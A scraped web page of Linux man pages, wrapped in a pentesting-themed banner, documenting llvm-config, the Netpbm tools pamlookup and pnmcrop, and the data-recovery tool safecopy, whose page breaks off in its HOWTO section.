llvm-config makes it easier to build applications that use LLVM. It can print the compiler flags, linker flags and object libraries needed to link against LLVM.

EXAMPLES

To link against the JIT:

g++ llvm-config --cxxflags -o HowToUseJIT.o -c HowToUseJIT.cpp g++ llvm-config --ldflags -o HowToUseJIT HowToUseJIT.o
llvm-config --libs engine bcreader scalaropts

OPTIONS

–assertion-mode

Print the assertion mode used when LLVM was built (ON or OFF).

–bindir

Print the installation directory for LLVM binaries.

–build-mode

Print the build mode used when LLVM was built (e.g. Debug or Release).

–build-system

Print the build system used to build LLVM (e.g. cmake or gn).

–cflags

Print the C compiler flags needed to use LLVM headers.

–cmakedir

Print the installation directory for LLVM CMake modules.

–components

Print all valid component names.

–cppflags

Print the C preprocessor flags needed to use LLVM headers.

–cxxflags

Print the C++ compiler flags needed to use LLVM headers.

–has-rtti

Print whether or not LLVM was built with rtti (YES or NO).

–help

Print a summary of llvm-config arguments.

–host-target

Print the target triple used to configure LLVM.

–ignore-libllvm

Ignore libLLVM and link component libraries instead.

–includedir

Print the installation directory for LLVM headers.

–ldflags

Print the flags needed to link against LLVM libraries.

–libdir

Print the installation directory for LLVM libraries.

–libfiles

Similar to –libs, but print the full path to each library file. This is useful when creating makefile dependencies, to ensure that a tool is relinked if any library it uses changes.

–libnames

Similar to –libs, but prints the bare filenames of the libraries without -l or pathnames. Useful for linking against a not-yet-installed copy of LLVM.

–libs

Print all the libraries needed to link against the specified LLVM components, including any dependencies.

–link-shared

Link the components as shared libraries.

–link-static

Link the component libraries statically.

–obj-root

Print the object root used to build LLVM.

–prefix

Print the installation prefix for LLVM.

–shared-mode

Print how the provided components can be collectively linked (shared or static).

–system-libs

Print all the system libraries needed to link against the specified LLVM components, including any dependencies.

–targets-built

Print the component names for all targets supported by this copy of LLVM.

–version

Print the version number of LLVM.

COMPONENTS

To print a list of all available components, run llvm-config –components. In most cases, components correspond directly to LLVM libraries. Useful “virtual” components include:

all

Includes all LLVM libraries. The default if no components are specified.

backend

Includes either a native backend or the C backend.

engine

Includes either a native JIT or the bitcode interpreter.

EXIT STATUS

If llvm-config succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1680 - Linux cli command pamlookup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamlookup and provides detailed information about the command pamlookup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamlookup.

.

NAME 🖥️ pamlookup 🖥️

map an image to a new image by using it as indices into a table

SYNOPSIS

pamlookup -lookupfile=lookupfile [-byplane] -missingcolor=color [-fit] indexfile

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamlookup takes a two dimensional array of indices and a lookup table as input. For each position in the index array, it looks up the index in the lookup table and places the result of the lookup in the output image.

There are two ways of indexing the lookup table: whole tuple and by plane. The -byplane option controls which pamlookup does.

In the simplest form of whole tuple indexing, each index in the index array is a single whole number and the lookup table associates a whole tuple with each possible whole number index. So for example, the index array might have at Row 2, Column 9 the value 23. The lookup table might associate the tuple (1,2,3) with the value 23. In that case, the output image contains the tuple (1,2,3) at Row 2, Column 9.

In a more complex form of whole tuple indexing, each index in the index array is an ordered pair of whole numbers and the lookup table associates a whole tuple with each possible ordered pair index. Modifying the example above, the index value could be (23, 5) instead of 23.

With whole tuple indexing, the output thus has the same width and height as the index image, and tuple depth and type and maxval are determined by the lookup table.

With whole tuple indexing, if the index image has depth 1, its sample values are single whole number indices. If the index image has depth greater than 1, its tuples are ordered pair indices composed of the first and second sample in the tuple.

In by-plane indexing, the index image contains whole number indices. Each sample in the index image is an index. The lookup table maps each whole number index to another whole number. pamlookup looks up the sample at each row, column, and plane in the index image in the lookup table and uses the resulting whole number as the sample value for the same row, column, and plane in the output.

With by-plane indexing, the output thus has the same dimensions as the index image an the same maxval as the lookup image.

The Lookup Table Image

The lookup table is a PAM or PNM image. If the index image contains whole number indices, the lookup image is a single row and the index is a column number. The lookup result is the value of the tuple or pixel at the indicated column in the one row in the lookup table. If the index image contains ordered pair indices, the first element of the ordered pair is a row number and the second element of the ordered pair is a column number. The lookup result is the value of the tuple or pixel at the indicated row and column in the lookup table.

The width of the lookup image should normally be the maxval of the index image plus one, so that each possible index sample value corresponds to one entry in the lookup table. There are two ways pamlookup deals with a lookup image that does not have such a width:

  • Scale the lookup image to the required width. pamlookup always does this with by plane indexing, and with whole tuple indexing, does it when you specify -fit.

  • Use a default value for indices that exceed the width of the lookup image and ignore lookup image columns beyond the maxval of the index image. pamlookup does this with whole tuple indexing when you don’t specify -fit.

You specify the default value with a -missingcolor option; it defaults to the value from the top left corner of the lookup image.

With ordered pair indexes (which implies whole tuple indexing), the same rule applies to the height of the index image as to the width.

The mandatory -lookupfile option identifies the file containing the lookup table image. - means Standard Input. It won’t work if both the index image file and lookup table file are Standard Input.

You can use ppmmake and pamcat to create a lookup table file.

Example - Whole Tuple Indexing

Here is an example of pamlookup’s function with whole tuple indexing (-byplane not specified).

Consider an index image consisting of a 3x2x1 PAM as follows:

010
222

and a lookup table consisting of a 3x1 PPM image as follows:

redyellowbeige

The lookup table above says Index 0 corresponds to the color red, Index 1 corresponds to yellow, and Index 2 corresponds to beige. The output of pamlookup is the following PPM image:

redyellowred
beigebeigebeige

Now let’s look at an example of the more complex case where the indices are ordered pairs of whole numbers instead of whole numbers. Our index image will be this 3x2x2 PAM image:

(0,0)(0,1)(0,0)
(1,1)(1,0)(0,0)

Our lookup table for the example will be this two dimensional PPM:

redyellowred
blackgreenred

Example - By Plane Indexing

Here is an example of pamlookup’s function with by plane tuple indexing (-byplane specified).

Consider an index image consisting of a 3x2x3 PAM as follows:

(0,0,0)(1,0,0)(2,0,0)
(2,2,0)(2,0,2)(2,0,0)

and a lookup table consisting of a 3x1x1 PAM image with maxval 7 as follows:

347

The lookup table above says Index 0 corresponds to the sample value 3, Index 1 corresponds to 4, and Index 2 corresponds to 7. The output of pamlookup is the following 3x2x3 PAM image:

(3,3,3)(4,3,3)(7,3,3)
(7,7,3)(7,3,7)(7,3,3)

Miscellaneous

The indexfile argument identifies the file containing the index PAM or PNM image. - means Standard Input. It won’t work if both the index image file and lookup table file are Standard Input.

The output image goes to Standard Output.

If you want to use two separate 1-plane images as indices (so that your output reflects the combination of both inputs), use pamstack to combine the two into one two-plane image (and use a 2-dimensional lookup table image).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamlookup recognizes the following command line options:

**-lookupfile=**lookupfile
lookupfile names the file that contains the PAM or PNM image that is the lookup table. This option is mandatory.

-byplane
This options selects by plane indexing. The default is whole tuple indexing.

This option was new in Netpbm 10.72 (September 2015). Before that, there is no by plane indexing.

**-missingcolor=**color
This option is meaningful only if the lookup image (and therefore the output) is a PNM image. color specifies the color that is to go in the output wherever the index from the input is not present in the lookup table (not present means the index exceeds the dimensions of the lookup image – e.g. index is 100 but the lookup image is a 50 x 1 PPM).

If you don’t specify this option or -fit, pamlookup uses the value from the top left corner of the lookup image whenever an index exceeds the dimensions of the lookup image.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

Another way to deal with a too-small lookup image is to use the -fit option.

This option has no effect if you also specify -fit or -byplane.

-fit
This option says to shrink or expand the lookup image as necessary to fit the indices present in the index image, per the index image’s maxval. For example, if your index image has a single plane and a maxval of 255 and your lookup image is 1 row of 10 columns, pamlookup stretches your lookup image to 255 columns before doing the lookups. pamlookup does the stretching (or shrinking) with the pamscale(1) program.

When you use -fit, pamlookup never fails or warns you because of invalid lookup image dimensions, and the -missingcolor option has no effect.

-fit has no effect when you specify -byplane. pamlookup always has the behavior requested by -fit when it does by plane indexing.

EXAMPLES

Example: rainfall map

Say you have a set of rainfall data in a single plane PAM image. The rows and columns of the PAM indicate latitude and longitude. The sample values are the annual rainfall in (whole) centimeters. The highest rainfall value in the image is 199 centimeters. The image is in the file rainfall.pam.

You want to produce a PPM rainfall map with green for the wettest places, red for the driest, and other colors in between.

First, compose a lookup table image, probably with a graphical editor and the image blown way up so you can work with individual pixels. The image must have a single row and 200 columns. Make the leftmost pixel red and the rightmost pixel green and choose appropriate colors in between. Call it colorkey.ppm.

    pamlookup rainfall.pam -lookupfile=colorkey.ppm >rainfallmap.ppm

Now lets say you’re too lazy to type in 200 color values and nobody really cares about the places that have more than 99 centimeters of annual rainfall. In that case, just make colorkey.ppm 100 columns wide and do this:

    pamlookup rainfall.ppm -lookupfile=colorkey.ppm -missingcolor=black \
       >rainfallmap.ppm

Now if there are areas that get more than 100 centimeters of rainfall, they will just show up black in the output.

Example: graphical diff

Say you want to compare two PBM (black and white) images visually. Each consists of black foreground pixels on a white background. You want to create an image that contains background where both images contain background and foreground where both images contain foreground. But where Image 1 has a foreground pixel and Image 2 does not, you want red in the output; where Image 2 has a foreground pixel and Image 1 does not, you want green.

First, we create a single image that contains the information from both input PBMs:

    pamstack image1.pbm image2.pbm >bothimages.pam

Note that this image has 1 of 4 possible tuple values at each location: (0,0), (0,1), (1,0), or (1,1).

Now, we create a lookup table that we can index with those 4 values:

    ppmmake white 1 1 >white.ppm
    ppmmake black 1 1 >black.ppm
    ppmmake red   1 1 >red.ppm
    ppmmake green 1 1 >green.ppm
    pamcat -leftright black.ppm red.ppm   >blackred.ppm
    pamcat -leftright green.ppm white.ppm >greenwhite.ppm
    pamcat -topbottom blackred.ppm greenwhite.ppm >lookup.ppm

Finally, we look up the indices from our index in our lookup table and produce the output:

    pamlookup bothimages.ppm -lookupfile=lookup.ppm >imagediff.ppm

SEE ALSO

pamunlookup(1) , pnmremap(1) , ppmmake(1) , pamcat(1) , pamstack(1) , pnm(1) , pam(1)

HISTORY

pamlookup was new in Netpbm 10.13 (December 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamlookup.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1681 - Linux cli command pnmcrop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmcrop and provides detailed information about the command pnmcrop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmcrop.

.

NAME 🖥️ pnmcrop 🖥️

crop a Netpbm image

SYNOPSIS

pnmcrop

[-white |-black |-sides |-bg-color=color |-bg-corner={ topleft|topright|bottomleft|bottomright} ]

[-left]

[-right]

[-top]

[-bottom]

[**-margin=**pixels]

[**-closeness=**closeness_percent]

[**-borderfile=**filename]

[-blank-image={abort|pass|minimize|maxcrop}]

{[-reportfull]|[-reportsize]}

[-verbose]

[pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmcrop reads a PBM, PGM, or PPM image as input, removes borders that are the background color, and produces the same type of image as output.

If you don’t specify otherwise, pnmcrop assumes the background color is whatever color the top left and right corners of the image are and if they are different colors, something midway between them. You can specify that the background is white or black with the -white and -black options or make pnmcrop base its guess on all four corners instead of just two with -sides.

By default, pnmcrop chops off any stripe of background color it finds, on all four sides. You can tell pnmcrop to remove only specific borders with the -left, -right, -top, and -bottom options.

But note that pnmcrop’s determination of the background color is independent of which edges you crop, which may not be intuitive. For example, imagine an image with a blue border at the top and a black border at the bottom and you say to crop the bottom (-bottom). You may have expected to crop the black border, but you actually won’t crop anything, because pnmcrop considers the background color to be whatever color the top two corners are, which is blue, and there is no blue at the bottom of the image. If you do want pnmcrop to take the background color from the edges being cropped, use -bg-corner.

If you want to leave some border, use the -margin option. It will not only spare some of the border from cropping, but will fill in (with what pnmcrop considers the background color) if necessary to get up to that size.

If the input is a multi-image stream, pnmcrop processes each one independently and produces a multi-image stream as output. It chooses where to crop independently for each image. So if you start with a stream of images of the same dimensions, you may end up with images of differing dimensions. Before Netpbm 10.37 (December 2006), pnmcrop ignored all input images but the first.

If you want to chop a specific amount off the side of an image, use pamcut.

If you want to add different borders after removing the existing ones, use pamcat or pamcomp.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmcrop recognizes the following command line options:

-white
Take white to be the background color. pnmcrop removes borders which are white.

You may specify at most one of -black, -white, -sides, -bg-color, and -bg-corner.

-black
Take black to be the background color. pnmcrop removes borders which are black.

You may specify at most one of -black, -white, -sides, -bg-color, and -bg-corner.

**-bg-color=**color
This tells pnmcrop what color is the background - it will crop areas of this color. color is a value that would be used as the argument of the pnm_parsecolor() library routine .

You may specify at most one of -black, -white, -sides, -bg-color, and -bg-corner.

This option was new in Netpbm 10.86 (March 2019).

-sides
Determine the background color from the colors of the four corners of the input image. pnmcrop removes borders which are of the background color.

If at least three of the four corners are the same color, pnmcrop takes that as the background color. If not, pnmcrop looks for two corners of the same color in the following order, taking the first found as the background color: top, left, right, bottom. If all four corners are different colors, pnmcrop assumes an average of the four colors as the background color.

The -sides option slows pnmcrop down, as it reads the entire image to determine the background color in addition to the up to three times that it would read it without -sides.

You may specify at most one of -black, -white, -sides, -bg-color, and -bg-corner.

-bg-corner={topleft|topright|bottomleft|bottomright
This option indicates a corner which is background. pnmcrop will use the color of this corner as the background color and crop edges of that color.

You may specify at most one of -black, -white, -sides, -bg-color, and -bg-corner.

This option was new in Netpbm 10.86 (March 2019).

-left
Remove any left border.

-right
Remove any right border.

-top
Remove any top border.

-bottom
Remove any bottom border.

**-margin=**pixels
Leave pixels pixels of border. Expand the border to this size if necessary.

This option was new in Netpbm 10.29 (August 2005).

**-closeness=**closeness_percent
Any color in the image that is at least this close to the operative background color is considered to be background.

You can use this if the image has borders that vary slightly in color, such as would be the case in a photograph. Consider a photograph against a white screen. The color of the screen varies slightly with shading and dirt and such, but is still quite distinct in color from the subject of the photograph. pnmcrop will choose some particular shade as the background color and if you specify an appropriate -closeness value, it will correctly identify all of the screen as background and crop it off.

To implement more complex rules for identifying background, use -borderfile.

The default is zero, which means a pixel’s color must exactly match the background color for the pixel to be considered part of a background border.

This option was new in Netpbm 10.78 (March 2017). With older Netpbm, colors must match exactly.

**-borderfile=**filename
Use the image in the file named filename instead of the input image to determine where the borders of the input image are and the background color.

Without this option, pnmcrop examines the input image and figures out what part of the image is border and what part is foreground (not border), as well as the background color. With this option, pnmcrop finds the borders in one image, then uses the those four border sizes (left, right, top, bottom) in cropping a different image. Furthermore, if you use -margin to add borders, the color of those borders is the background color pnmcrop detects in the border file.

The point of this is that you may want to help pnmcrop to come to a different conclusion as to where the borders are and what the background color is by preprocessing the input image. For example, consider an image that has speckles of noise in its borders. pnmcrop isn’t smart enough to recognize these as noise; it sees them as foreground image. So pnmcrop considers most of your borders to be foreground and does not crop them off as you want. To fix this, run the image through a despeckler such as pbmclean and tell pnmcrop to use the despeckled version of the image as the -borderfile image, but the original speckled version as the input image. That way, you crop the borders, but retain the true foreground image, speckles and all.

The border file must have the same number of images in it as the input file; the background color determination for image N of the input is based on the image N of the border file.

This option was new in Netpbm 10.29 (August 2005).

Before Netpbm 10.46 (March 2009), the original image and not the border file determines the background color. pnmcrop fails if there is no apparent background color in the original image (i.e. the corners of the image don’t have a common color).

-blank-image={abort|pass|minimize|maxcrop}
This determines how pnmcrop handles an image which is entirely background (blank), a case where cropping doesn’t make much sense.

abort
program fails, with explanatory message (default)

pass
Output image is the same as the input image. -margin has no effect.

minimize
output is a single row, column, or pixel (of the background color). If you crop both vertically and horizontally (the default), it is a single pixel. If you crop only vertically, a single row, of the original width. If you crop only horizontally, it is a single column, of the original height.

This is a somewhat incongruous result; the mathematically consistent result of cropping the background from an image that is entirely background would be an image with no pixels at all. But such a thing does not exist in the Netpbm formats (and you probably wouldn’t want it anyway, because whoever processes this output may not tolerate that).

The background can be more than one color when you specify -closeness, so it matters which row, column, or pixel remains. If you crop on the top and not bottom, it is the last row that remains. If you crop on both the top and bottom, it is the middle row that remains. The other cases follow similarly.

If you specify a margin (-margin), the output image consists entirely of the margins; there is no single row, column, or pixel between the margins. So with -margin, the incongruity mentioned above does not exist. But before Netpbm 10.92 (September 2020), -margin was ignored with -blank-image=minimize.

maxcrop
This odd function selects a hypothetical cropping which is not even possible, and therefore is valid only with -reportfull or -reportsize. The cropping that this selects is a crop of the entire image on every side on which you request cropping. So if you request cropping only on the left, of a 600 pixel wide image, this selects a cropping of 600 pixels from the left and none from the other three sides. Note that were this cropping actually applied, this would produce an image with no pixels, which is not a valid Netpbm image. But it gets stranger still if you request cropping on both the right and the left. In that case, the cropping selected is a cropping of 600 pixels from both the right and left sides, which would leave a negative-width image.

This is actually useful if you are trying to find a single set of cropping parameters to crop a stream of images. To do this, you could do a pass with -reportsize and -blank-image=maxcrop to compute the maximum crop for each edge, and then use those numbers in -cropxxx options on a pamcut pass to do the crop. In this scenario, any all-background (blank) images would have no effect on the cropping parameters you compute. If you do this, you must give special consideration to a stream with nothing but blank images.

-margin is always ignored when the image is all background.

This option was new in Netpbm 10.86 (March 2019).

-reportfull
With this option, pnmcrop does not actually crop anything. Instead, it just prints to Standard Output parameters of the cropping it would have done. The output is a single line per image, like in this example:

     0 +7 -20 -10 200 300 rgb-255:10/0/255 0.0

The line is composed of the following blank-delimited tokens:

  • how many pixels would be cropped or padded on the left. This is a signed decimal number, where + means pad and - means crop. If there would be no change, this is unsigned zero.

  • same, but for the right side.

  • same, but for the top.

  • same, but for the bottom.

  • the resulting image width in pixels, in decimal.

  • the resulting image height in pixels, in decimal.

  • The color pnmcrop took to be the background color, like ‘rgb-255:10/0/255’ (This is a format recognized by the pnm_parsecolor() library routine). The maxval in the color specification is the maxval of the image.

  • The closeness value (see -closeness option) pnmcrop used, in floating point decimal.

You cannot use -borderfile together with this option.

This option was new in Netpbm 10.86 (March 2019).

-reportsize
This is like -reportfull*, but reports only the left, right, top,* bottom, width, and height.

You cannot use -borderfile together with this option.

This option was new in Netpbm 10.86 (March 2019).

-verbose
Print on Standard Error information about the processing, including exactly how much is being cropped off of which sides.

SEE ALSO

pamcut(1) , pamfile(1) , pnm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmcrop.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1682 - Linux cli command safecopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command safecopy and provides detailed information about the command safecopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the safecopy.

NAME 🖥️ safecopy 🖥️

rescue data from a source that causes IO errors

SYNOPSIS

safecopy [OPTION]… SOURCE DEST

DESCRIPTION

safecopy tries to get as much data from SOURCE as possible, even resorting to device specific low level operations if applicable.

This is achieved by identifying problematic or damaged areas, skipping over them and continuing reading afterwards. The corresponding area in the destination file is either skipped (on initial creation that means padded with zeros) or deliberately filled with a recognizable pattern to later find affected files on a corrupted device.

Safecopy uses an incremental algorithm to identify the exact beginning and end of bad areas, allowing the user to trade minimum accesses to bad areas for thorough data resurrection.

Multiple passes over the same file are possible, to first retrieve as much data from a device as possible with minimum harm, and then trying to retrieve some of the remaining data with increasingly aggressive read attempts.

For this to work, the source device or file has to be seekable. For unseekable devices (like tapes) you can try to use an external script to execute a controlled skip over the damaged part for you.

(For example by using “mt seek” and “mt tell” on an SCSI tape device) See the “-S <seekscript>” parameter for details.

Performance and success of this tool depend extremely on the device driver, firmware and underlying hardware.

Currently safecopy supports RAW access to CDROM drives to read data directly of a CD, bypassing some driver dependent error correction. This can speed up data retrieval from CDs and reduce system load during recovery, as well as increase the success rate. Safecopy uses the disc status syscall to determine sector size and addressing of CDs. This fails on mixed-mode or multi-session CDs, since the sector layout can change within the disk, but would still work on the the big majority of disks. Other disks can still be recovered using normal high level data access. Safecopy auto-detects the disk type involved during scan for disk and block size.

Some CD/DVD drives are known to cause the ATAPI bus to crash on errors, causing the device driver to freeze for times up to and beyond a minute per error. Try to avoid using such drives for media recovery. Using safecopys low level access features might help under some circumstances.

Some drives can read bad media better than others. Be sure to attempt data recovery of CDs and DVDs on several different drives and computers. You can use safecopys incremental recovery feature to read previously unreadable sectors only.

RELIABILITY

Data recovery from damaged media is a delicate task, in the worst case its success or failure can safe or ruin whole companies and seal affected peoples personal fate. It is paramount that any tools written for that purpose are reliable and trustworthy.

A user needs to know what exactly the software is doing to his hardware and data. The outcome of any operation needs to be both understandable and predictable.

An “intelligent data resurrection wizard” with unknown complex internal behaviour may be a nifty tool, but does not meet the above requirements of predictable outcome, nor will the user know in advance what is done to his data.

The operation sequence of safecopy has been kept relatively simple to assure this predictability. Unfortunately feature additions have risen the complexity and lead to undefined outcome in the past when include and exclude lists had been mixed, especially when mixing different block sizes. In the worst case this could have lead to overwritten data in the destination file on a later incremental run with the mark (-M) option.

From version 1.3 on, safecopy ships with a test suite that can be used to verify safecopys behaviour in a set of test cases, simulating the combination of bad blocks in input with different include and exclude lists, both with and without marking. Releases are only made if safecopy passes those test cases according to the specification.

This textual specification of behaviour of safecopy can be found in the file specification.txt shipped with safecopy.

OPTIONS

–stage1
Preset to rescue most of the data fast, using no retries and avoiding bad areas.

Presets: -f 10% -r 10% -R 1 -Z 0 -L 2 -M BaDbLoCk -o stage1.badblocks

–stage2
Preset to rescue more data, using no retries but searching for exact ends of bad areas.

Presets: -f 128* -r 1* -R 1 -Z 0 -L 2 -I stage1.badblocks -o stage2.badblocks

–stage3
Preset to rescue everything that can be rescued using maximum retries, head realignment tricks and low level access.

Presets: -f 1* -r 1* -R 4 -Z 1 -L 2 -I stage2.badblocks -o stage3.badblocks

All stage presets can be overridden by individual options.

-b <size>
Blocksize for default read operations. Set this to the physical sectorsize of your media.

Default: 1*
Hardware block size if reported by OS, otherwise 4096

-f <size>
Blocksize in bytes when skipping over badblocks. Higher settings put less strain on your hardware, but you might miss good areas in between two bad ones.

Default: 16*

-r <size>
Resolution in bytes when searching for the exact beginning or end of a bad area. If you read data directly from a device there is no need to set this lower than the hardware blocksize. On mounted filesystems however, read blocks and physical blocks could be misaligned. Smaller values lead to very thorough attempts to read data at the edge of damaged areas, but increase the strain on the damaged media.

Default: 1*

-R <number>
At least that many read attempts are made on the first bad block of a damaged area with minimum resolution. More retries can sometimes recover a weak sector, but at the cost of additional strain.

Default: 3

-Z <number>
On each error, force seek the read head from start to end of the source device as often as specified. That takes time, creates additional strain and might not be supported by all devices or drivers.

Default: 1

-L <mode>
Use low level device calls as specified:

0 Do not use low level device calls
1 Attempt low level device calls for error recovery only
2 Always use low level device calls if available

Supported low level features in this version are:

SYSTEM DEVICE TYPE FEATURE
Linux cdrom/dvd bus/device reset
Linux cdrom read sector in raw mode
Linux floppy controller reset, twaddle

Default: 1

–sync
Use synchronized read calls (disable driver buffering). Safecopy will use O_DIRECT if supported by the OS and O_SYNC otherwise.

Default: Asynchronous read buffering by the OS is allowed

–forceopen
Keep trying to reopen the source after a read errer useful for USB drives that go away temporarily.

Warning: This can cause safecopy to hang until aborted manually!

Default: Abort on fopen() error

-s <blocks>
Start position where to start reading. Will correspond to position 0 in the destination file.

Default: block 0

-l <blocks>
Maximum length of data to be read.

Default: Entire size of input file

-I <badblockfile>
Incremental mode. Assume the target file already exists and has holes specified in the badblockfile. It will be attempted to retrieve more data from the listed blocks or from beyond the file size of the target file only.

Warning: Without this option, the destination file will be emptied prior to writing. Use -I /dev/null if you want to continue a previous run of safecopy without a badblock list.

Implies: -c 0 if -c is not specified

Default: none ( /dev/null if -c is given )

-i <bytes>
Blocksize to interpret the badblockfile given with -I.

Default: Blocksize as specified by -b

-c <blocks>
Continue copying at this position. This allows continuing if the output is a block device with a fixed size as opposed to a growable file, where safecopy cannot determine how far it already got. The blocksize used is the same as for the -I option.
-c 0 will continue at the current destination size.

Implies: -I /dev/null if -I is not specified

Default: none ( 0 if -I is given )

-X <badblockfile>
Exclusion mode. If used together with -I, excluded blocks override included blocks. Safecopy will not read or write any data from areas covered by exclude blocks.

Default: none

-x <bytes>
Blocksize to interpret the badblockfile given with -X.

Default: Blocksize as specified by -b

-o <badblockfile>
Write a badblocks/e2fsck compatible bad block file.

Default: none

-S <seekscript>
Use external script for seeking in input file. (Might be useful for tape devices and similar). Seekscript must be an executable that takes the number of blocks to be skipped as argv1 (1-64) the blocksize in bytes as argv2 and the current position (in bytes) as argv3. Return value needs to be the number of blocks successfully skipped, or 0 to indicate seek failure. The external seekscript will only be used if lseek() fails and we need to skip over data.

Default: none

-M <string>
Mark unrecovered data with this string instead of skipping it. This helps in later finding corrupted files on rescued file system images. The default is to zero unreadable data on creation of output files, and leaving the data as it is on any later run.

Warning: When used in combination with incremental mode (-I) this may overwrite data in any block that occurs in the -I file. Blocks not in the -I file, or covered by the file specified with -X are save from being overwritten.

Default: none

–debug <level>
Enable debug output. Level is a bit field, add values together for more information:
program flow: 1
IO control: 2
badblock marking: 4
seeking: 8
incremental mode: 16
exclude mode: 32
or for all debug output: 255

Default: 0

-T <timingfile>
Write sector read timing information into this file for later analysis.

Default: none

-h, –help
Show the program help text.

PARAMETERS

valid parameters for -f -r -b <size> options are:

<integer>
Amount in bytes - i.e. 1024

<percentage>%
Percentage of whole file/device size - e.g. 10%

<number>*
-b only, number times blocksize reported by OS

<number>*
-f and -r only, number times the value of -b

OUTPUT

description of output symbols:

.
Between 1 and 1024 blocks successfully read.

_
Read of block was incomplete. (possibly end of file) The blocksize is now reduced to read the rest.

|/|
Seek failed, source can only be read sequentially.

>
Read failed, reducing blocksize to read partial data.

!
A low level error on read attempt of smallest allowed size leads to a retry attempt.

[xx](+yy){
Current block and number of bytes continuously read successfully up to this point.

X
Read failed on a block with minimum blocksize and is skipped. Unrecoverable error, destination file is padded with zeros. Data is now skipped until end of the unreadable area is reached.

<
Successful read after the end of a bad area causes backtracking with smaller blocksizes to search for the first readable data.

}[xx](+yy)
current block and number of bytes of recent continuous unreadable data.

HOWTO

How do I…

- resurrect a file from a mounted but damaged media, that copy will fail on:
safecopy /path/to/problemfile ~/saved-file

- create an filesystem image of a damaged disk/cdrom:
safecopy /dev/device ~/diskimage

- resurrect data as thoroughly as possible?

safecopy source dest -f 1* -R 8 -Z 2
(assuming logical misalignment of blocks to sectors)

safecopy source dest -f 1* -r 1 -R 8 -Z 2

- resurrect data as fast as possible, or
- resurrect data with low risk of damaging the media further:
(you can use even higher values for -f and -r)

safecopy source dest -f 10% -R 0 -Z 0

